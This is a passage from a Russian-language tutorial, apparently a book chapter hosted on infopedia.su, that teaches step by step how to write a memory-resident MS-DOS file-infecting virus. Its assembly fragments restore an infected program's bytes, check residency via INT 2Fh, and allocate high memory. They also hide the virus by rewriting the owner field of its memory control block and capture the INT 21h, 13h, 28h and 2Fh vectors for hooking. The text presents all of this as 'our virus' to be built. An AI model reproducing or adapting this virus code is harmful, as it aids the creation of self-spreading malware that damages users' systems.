Сохраняем регистры процессора 


Мы поможем в написании ваших работ!



ЗНАЕТЕ ЛИ ВЫ?

Сохраняем регистры процессора



В самом начале работы резидентная программа обязана сохранить значения регистров процессора, которые были переданы ей прерванной программой, а при завершении работы - восстановить эти значения. Если этого не сделать,прерванная программа просто не сможет нормально выполняться дальше, что приведет к сбою вычислительного процесса. Поэтому сейчас мы сохраним все регистры, используемые вирусом, в стеке:

pushf;Сохраним в сте- push ax;ке регистры... push bx push cx push dx push si push di push bp push ds push es jmp cs:infect;Перейти к зара-;жению файлов

Заметим, что значения регистров записываются уже в область " newstack ", а не в стек прерванной программы. Значения SS и SP сохраняются в переменных: "ss_save" и "sp_save", и поэтому в стек не заносятся. Команда "jmp cs:infect" также относится к резидентной секции и передает управление "заразной" части вирусного кода.

Создаем секцию инициализации

А теперь пора заняться изготовлением секции инициализации нашей программы. Поскольку эта секция исполняется при запуске зараженного файла, выполним коррекцию регистра DS (см. гл. 1, 1.6):

push_len equ $-vir - 2 mov ax,ds;Корректируем DS;для нерезидент-;ной работы... db 05h;Код команды add_to_ds: dw 0;" ADD AX,00h " mov ds,ax

Константа " push_len " содержит смещение от начала вируса до начала секции инициализации. Именно это число записывается за меткой " vir " (см. п. 2.5). Далее следует проверить наличие вируса в памяти (см. п. 2.3), поэтому:

mov ax,0f000h;Проверим, есть mov bx,1997h;вирус в памяти, int 2fh;или еще нет... jc fresh_bytes cmp al,0ffh jne free_mem;Нет -;устанавливаем

Для проверки используется так называемое мультиплексное прерывание MS DOS, специально предназначенное для использования в резидентных программах. В регистрах AX и BX мы поместим код, на который реагирует вирусный обработчик этого прерывания, и выполним команду " INT 2Fh ". Если вирус был установлен в памяти, его обработчик проанализирует значения AX и BX. И если они равны " 0f000h " и " 1997h ", вернет в AL число 0ffh, которое и рассчитывает получить секция инициализации. Если вирусный код уже инсталлирован, необходимо: восстановить в памяти компьютера исходные три байта зараженной программы (см. п. 2.3):

fresh_bytes:;Восстанавливаем mov al,old_bytes;первые три бай-;та зараженной mov cs:[100h],al;программы... mov al,old_bytes+1 mov cs:[101h],al mov al,old_bytes+2 mov cs:[102h],al

Восстановить значения сегментных регистров:

mov ax,cs;Восстанавливаем;сегментные mov es,ax;регистры... mov start_cs,ax mov ds,ax

И выполнить переход на начало этой программы:

jmp cl_conv_1;Передаем управ- cl_conv_1: db 0eah;ление заражен- dw 100h;ной программе start_cs dw 0

Здесь команда "jmp cl_conv_1" очищает очередь процессора (см. гл. 1, п. 1.7). Без нее наш вирус на некоторых процессорах работал бы некорректно. Если же вируса в памяти еще нет, нужно установить его в память. Эту работу выполняют команды, записанные за меткой "free_mem".

Запрашиваем блок памяти

Как вы уже знаете,резидентная программа должна находиться в памяти в течение сеанса работы компьютера. Поэтому секция инициализации должна "попросить" MS DOS выделить для загрузки резидентной части соответствующий блок памяти. Существует целый ряд методов, позволяющих получить в распоряжение TSR - программы область памяти достаточного размера. Например, в обычных резидентных программах эту функцию выполняет MS DOS в процессе резидентного завершения. При этом область памяти, выделенная TSR - программе при ее запуске, просто усекается до размера резидентной части и остается занятой после завершения программы. Таким образом, резидентная часть размещается в том месте, куда некогда была загружена вся программа.

К сожалению, использование такого метода в вирусе порождает целый ряд проблем. Например в этом случае необходимо записывать вирусный код в начало, а не в конец файла - жертвы, иначе при запуске зараженной программы она будет " садиться " в память целиком. Есть и другие трудности, преодолеть которые очень непросто.Не случайно такой прием при написании вирусов применяется редко.

Другой способ состоит в использовании для поиска подходящего блока памяти так называемых MCB - блоков (потом мы поговорим о них подробнее). При этом вирус должен путем сканирования цепочки блоков управления памятью (Memory Control Blocks) найти свободный блок подходящего размера, разделить его на две части, одна из которых точно соответствует или несколько превышает длину вируса, и записать во вновь созданный блок свой код.Основной недостаток данного метода состоит в том что MCB - блоки являются недокументированной структурой MS DOS, и при их использовании нужно быть готовым к тому,что программа будет работать на одной машине и не будет работать на другой. Это также относится к разным версиям операционной системы. Кроме того, очень сложно построить эффективный алгоритм реализации этого метода. Ведь вирусный код должен записываться не просто в подходящий по размерам блок, а в старшие адреса оперативной памяти, иначе загрузка больших программ будет просто невозможна.

Третий способ заключается в том, что код вируса копируется в заданную область памяти без коррекции MCB - блоков. Недостаток его состоит в следующем: "время жизни" вируса,реализующего такой алгоритм, чрезвычайно мало и зависит от интенсивности использования оперативной памяти. Причем "гибель" вирусной программы с почти стопроцентной вероятностью приводит к повисанию компьютера. Хотя метод отличается простотой реализации и имеет ряд других достоинств, приведенный выше недостаток делает его практическое использование маловозможным. Четвертый способ состоит в использовании функций, реализующих управление памятью.Используя его,можно построить эффективный и корректно работающий программный код, который будет хорошо работать на разных машинах и с любыми версиями операционной системы. При этом его реализация весьма проста и понятна. Поэтому мы применим именно этот способ:

free_mem: mov ah,4ah;Определим объем;доступной памя-;ти... mov bx,0ffffh;Заведомо невоз- int 21h;можное значение;(0ffffh)!;Ошибка будет;обязательно, и;проверять ее;наличие;не нужно!; _______________________________________________;| Закажем свободный блок памяти,чтобы можно было|;| записать в него резидентную часть вируса... |;|_______________________________________________| sub bx,vir_par + 2;Оставим вирусу;на 2 параграфа;больше, чем;он сам занимает mov ah,4ah;А остальная па- int 21h;мять будет jc fresh_bytes;занята... mov ah,48h;Попросим DOS;отдать свобод-;ный блок нам. mov bx,vir_par + 1;Запас в один int 21h;параграф... jc fresh_bytes;Ошибка!

В приведенном фрагменте использованы функции:

4Ah

изменение размера блока памяти, а также

48h

выделение блока памяти.

Об их использовании вы можете прочесть в ПРИЛОЖЕНИИ 1.

Работа вышеприведенных команд весьма проста и особых пояснений не требует. Стоит лишь заметить, что для загрузки вирусного кода выделяется область в самом "верху" свободной оперативной памяти, что является почти обязательным для подавляющего большинства вирусных программ.

2.9 Делаем вирус "незаметным"

К сожалению, выбранный нами способ поиска свободного блока памяти имеет один скрытый недостаток. Как вы, наверное, знаете, при завершении программы DOS освобождает блок памяти, который эта программа занимает. Кроме того, освобождаются также все блоки, которые были распределены программе по ее запросам. Предположим, вирус стартовал из зараженной программы, с помощью описанных ранее функций MS DOS нашел подходящий блок памяти и записал в него свой код, предварительно переписав на этот код те или иные прерывания. После этого он передает управление зараженной программе. Естественно, она когда-нибудь завершится и передаст управление DOS. Но ведь в этом случае блок, который занимает вирусный код, будет освобожден, и при первой необходимости этот код будет уничтожен,чтобы записать на его место другую информацию!В результате произойдет моментальное " повисание " компьютера.

Очевидно, этого можно избежать, если память, занимаемая вирусом, будет оставаться занятой в течение всего сеанса работы,и не будет освобождаться после завершения зараженной программы.

Как показал эксперимент, для этой цели достаточно в MCB,предшествующем выделенному для вирусного кода блоку, сделать определенные изменения. Но сначала мы немного расскажем о структуре Memory Control Blocks (MCB) и их использовании.

Для того, чтобы следить за использованием памяти, в MS DOS предусмотрена специальная структура - так называемый блок управления памятью,или MCB - блок. Такой блок помещается DOS непосредственно перед каждым вновь выделяемым блоком памяти, и система ведет специальный список MCB - блоков,просматривая его при выполнении тех или иных действий, связанных с распределением памяти.

MCB обязательно начинается на границе параграфа и всегда занимает целый параграф.Конечно,MS DOS должна знать о том, где именно расположен первый блок управления памятью.На этот блок указывает внутренняя переменная DOS, значение и местоположение которой известно только операционной системе.

Рассмотрим теперь структуру MCB - блока. Итак:

Байт 0 содержит код 5Ah,если данный блок является последним в цепочке MCB, и код 4Dh - в противном случае.
Байты 1,2 Содержат PID (Program IDentificator) программы, для которой DOS выделяла блок, или ноль, если блок свободен.
Байты 3, 4 Содержат размер блока в параграфах. Следующий блок расположен в памяти по адресу: MCB_NEW = MCB_OLD + lenght + 1. Здесь MCB_NEW - сегментный адрес, по которому располагается следующий MCB, MCB_OLD - сегментный адрес рассматриваемого MCB,а lenght - содержимое байтов 3, 4 этого блока.

Остальные одиннадцать байт блока не используются и могут содержать любые данные. Но стоит заметить, что повреждение байтов 1, 3 или 4 приводит к выдаче сообщения:

Memory Allocation Error System Halted

и немедленному "зависанию" компьютера.

А теперь вернемся к нашей программе.

Как показал эксперимент, достаточно подменить в MCB, предшествующем вирусному коду, байты 1 и 2. Причем лучше всего записать вместо этих байт PID какой - нибудь из уже загруженных в память программ. Этим достигается еще и незаметность вируса в памяти.Советую вам попробовать загрузить несколько TSR - программ и в MCB одной из них подменить байты 1 и 2 на PID какой - нибудь другой программы. После этого нажмите в Volkov Commander клавиши ALT и F5, и вы увидите очень интересный эффект.

Но дело в том, что для использования вышеприведенного метода необходимо еще найти программу, на PID которой наш вирус будет " паразитировать ". Сделать это не так просто, как может показаться на первый взгляд. И поэтому для облегчения нашей работы вместо PID загруженной в память программы мы запишем в MCB вируса сегментный адрес области данных DOS, а именно: 0070h:

; _______________________________________________;| Теперь свободный блок памяти найден |;| (сегментный адрес в AX), и |;| нужно записать в него код вируса... |;|_______________________________________________| xor di,di;Делаем вирус mov bx,ax;"невидимым" в dec bx;памяти... mov word ptr cs:[2],bx mov es,bx mov bx,0070h mov es:[di+1],bx

Предыдущий фрагмент вернул нам сегментный адрес выделенного для вируса блока памяти в регистре AX. Приведенные программные строки очень просты, и объяснять их работу не нужно. Следует только сказать, что вирус фактически отнимает у DOS несколько килобайтов памяти, поэтому необходимо скорректировать PSP программы - носителя вируса. А именно уменьшить верхнюю границу блока памяти, выделенного программе, на длину вирусного кода. Интересующая нас величина находится по смещению 02h от начала PSP.

Получаем вектора прерываний

Итак, мы нашли блок памяти, в который часть инициализации будет копировать вирусный код. Но прежде чем инсталлировать вирус в память, необходимо узнать адреса системных обработчиков прерываний. Ведь вирус будет вызывать эти обработчики перед (или после) выполнением собственных действий по обработке того или иного прерывания. Если исходные обработчики не будут получать управление, вычислительная система придет в аварийное состояние.

Поэтому:

;_________________________________________________ mov es,di;Получаем векто-;ра прерываний cli mov di,084h;Int 21h... mov bx,es:[di] mov old_21h,bx mov bx,es:[di+2] mov old_21h_2,bx mov di,0bch;Int 2fh... mov bx,es:[di] mov old_2fh,bx mov bx,es:[di+2] mov old_2fh_2,bx mov di,04ch;Int 13h... mov bx,es:[di] mov old_13h,bx mov bx,es:[di+2] mov old_13h_2,bx mov di,0a0h;Int 28h... mov bx,es:[di] mov old_28h,bx mov bx,es:[di+2] mov old_28h_2,bx sti

Как видим, для определения адресов обработчиков вирус обращается непосредственно к таблице векторов прерываний.Секция инициализации будет перехватывать прерывания: Int 21h, Int 13h, Int 28h и Int 2fh. Несколько позже мы разберемся, почему потребовалось перехватить именно их и приведем тексты вирусных обработчиков этих прерываний.



Поделиться:


Последнее изменение этой страницы: 2016-07-16; просмотров: 285; Нарушение авторского права страницы; Мы поможем в написании вашей работы!

infopedia.su Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав. Обратная связь - 3.19.56.45 (0.014 с.)